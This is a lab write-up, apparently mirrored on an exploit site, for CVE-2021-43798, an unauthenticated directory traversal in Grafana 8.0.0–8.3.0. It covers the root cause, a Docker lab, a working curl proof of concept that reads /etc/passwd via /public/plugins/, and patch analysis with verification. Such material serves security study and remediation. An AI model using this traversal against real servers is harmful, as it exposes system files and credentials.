## https://sploitus.com/exploit?id=5F8E5970-59DF-536F-9410-C209F2BA06FD
# CVE-2021-43798: Unauthenticated Directory Traversal in Grafana
## 1. Executive Summary
An unauthenticated path traversal vulnerability exists in Grafana versions 8.0.0 through 8.3.0. The vulnerability allows remote, unauthenticated attackers to read arbitrary files from the underlying server operating system by sending specially crafted HTTP requests containing relative path sequences (`../`) to the `/public/plugins/` endpoint.
## 2. Vulnerability Details & Metrics
- **CVE ID:** CVE-2021-43798
- **Vulnerability Type:** Path Traversal / Arbitrary File Read
- **Affected Software:** Grafana (v8.0.0 to v8.3.0)
- **CVSS v3.1 Score:** 7.5 HIGH (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`)
- **CWE:** CWE-22: Improper Limitation of a Pathname to a Restricted Directory
## 3. Root Cause Analysis
In Grafana v8.3.0, the HTTP router allowed users to request static assets belonging to installed plugins via the `/public/plugins//` route.
When processing these requests, the Go handler extracted the plugin ID and requested file path directly from the URL parameters and concatenated them with the base plugin directory without sanitizing relative path traversal sequences (`../`).
As a result, when the server queried the filesystem, the `../` sequences traversed out of the plugin directory up to the root directory (`/`), enabling arbitrary file read access limited only by the permissions of the user running the Grafana process.
## 4. Lab Setup & Environment (Docker)
### Prerequisites
- Docker and Docker Compose installed.
### Local Deployment
1. Clone this repository:
```bash
git clone https://github.com/your-username/cve-2021-43798-lab.git
cd cve-2021-43798-lab
```
2. Launch the vulnerable Grafana v8.3.0 container:
```bash
docker-compose up -d
```
3. Access the Grafana web interface at `http://localhost:3000`.
## 5. Steps to Reproduce & Proof of Concept (PoC)
> **Note:** Modern web browsers automatically resolve relative path sequences (`../`) before sending HTTP requests. To successfully reproduce this vulnerability, use `curl` with the `--path-as-is` flag or intercept the traffic using Burp Suite.
### Exploitation Command
Run the following command in your terminal to retrieve `/etc/passwd` from the host filesystem inside the container:
```bash
curl -i --path-as-is "http://localhost:3000/public/plugins/welcome/../../../../../../../../etc/passwd"
```
### Intercepted HTTP Request
```http
GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3000
User-Agent: curl/7.81.0
Accept: */*
```
### Vulnerable Server Response
```http
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
grafana:x:472:472:grafana:/usr/share/grafana:/sbin/nologin
```
## 6. Impact
While this vulnerability does not directly allow file write or Remote Code Execution (RCE) on its own, it poses significant risks:
- **Sensitive File Exposure:** Attackers can read system configuration files, environment variables, and Grafana configuration files containing database credentials or secret keys.
- **Reconnaissance:** Exposing `/etc/passwd` reveals local user accounts, facilitating further targeted attacks.
## 7. Patch Analysis & Remediation
Grafana resolved this vulnerability in version **8.3.1** by sanitizing paths and enforcing boundary checks before serving static files.
### Code Fix Comparison (Go)
```diff
// Vulnerable Implementation (v8.3.0)
- requestedFile := c.Params("*")
- pluginFilePath := filepath.Join(pluginDir, requestedFile)
- c.ServeFile(pluginFilePath)
// Patched Implementation (v8.3.1+)
+ requestedFile := c.Params("*")
+ cleanPath := filepath.Clean(requestedFile)
+ targetPath := filepath.Join(pluginDir, cleanPath)
+
+ if !strings.HasPrefix(targetPath, filepath.Clean(pluginDir)) {
+ c.JsonContent(400, "Invalid request")
+ return
+ }
+ c.ServeFile(targetPath)
```
### Remediation Mechanics
1. **Path Normalization:** `filepath.Clean` resolves relative elements (`.`, `..`) to compute the real target path.
2. **Boundary Enforcement:** `strings.HasPrefix` verifies that the target path remains inside `pluginDir`. Traversal attempts outside this boundary are rejected with HTTP 400.
## 8. Verification (Post-Patch Testing)
To verify the fix:
1. Change the image tag in `docker-compose.yml` to `8.3.1`:
```yaml
image: grafana/grafana:8.3.1
```
2. Restart the container:
```bash
docker-compose down && docker-compose up -d
```
3. Re-execute the PoC:
```bash
curl -i --path-as-is "http://localhost:3000/public/plugins/welcome/../../../../../../../../etc/passwd"
```
4. **Result:** The server responds with `{"message": "Plugin file not found"}`, confirming the path traversal attempt is blocked.
```